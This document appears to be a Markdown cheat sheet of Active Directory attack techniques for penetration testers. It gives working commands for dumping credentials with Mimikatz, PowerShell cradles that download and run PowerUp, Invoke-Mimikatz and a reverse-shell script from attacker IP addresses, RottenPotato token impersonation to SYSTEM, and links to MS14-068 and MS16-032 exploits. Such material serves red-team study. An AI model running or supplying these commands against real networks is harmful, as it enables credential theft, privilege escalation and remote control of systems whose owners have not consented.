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89 lines
2.9 KiB
Markdown
89 lines
2.9 KiB
Markdown
# Active Directory Attacks
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## Most common paths to AD compromise
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* MS14-068
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* MS17-010 (Eternal Blue - Local Admin)
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```c
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nmap -Pn -p445 — open — max-hostgroup 3 — script smb-vuln-ms17–010 <ip_netblock>
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```
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* Unconstrained Delegation (incl. pass-the-ticket)
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* OverPass-the-Hash (Making the most of NTLM password hashes)
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* Pivoting with Local Admin & Passwords in SYSVOL
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* Dangerous Built-in Groups Usage
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* Dumping AD Domain Credentials
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* Golden Tickets
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* Kerberoast
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* Silver Tickets
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* Trust Tickets
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## Tools
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* [Impacket](https://github.com/CoreSecurity/impacket)
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* Responder
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* Mimikatz
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* [Ranger](https://github.com/funkandwagnalls/ranger)
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* BloodHound
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* RottenPotato
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## Mimikatz
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```
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load mimikatz
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mimikatz_command -f sekurlsa::logonPasswords full
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```
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## PowerSploit
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```
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https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
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powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks”
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powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');"
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```
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## PrivEsc - Token Impersonation (RottenPotato)
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Binary available at : https://github.com/foxglovesec/RottenPotato
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Binary available at : https://github.com/breenmachine/RottenPotatoNG
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```c
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getuid
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getprivs
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use incognito
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list\_tokens -u
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cd c:\temp\
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execute -Hc -f ./rot.exe
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impersonate\_token "NT AUTHORITY\SYSTEM"
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```
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```
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Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
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Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
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Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
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```
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## PrivEsc - MS14-068
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```
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Exploit Python : https://www.exploit-db.com/exploits/35474/
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Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
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```
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## PrivEsc - MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
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```
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Powershell:
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https://www.exploit-db.com/exploits/39719/
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https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
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Binary exe : https://github.com/Meatballs1/ms16-032
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Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
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```
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## Kerberoast
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```
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https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/
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https://room362.com/post/2016/kerberoast-pt1/
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```
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## Thanks to
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* [https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html](https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html)
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* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)
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* [Road to DC](https://steemit.com/infosec/@austinhudson/road-to-dc-part-1)
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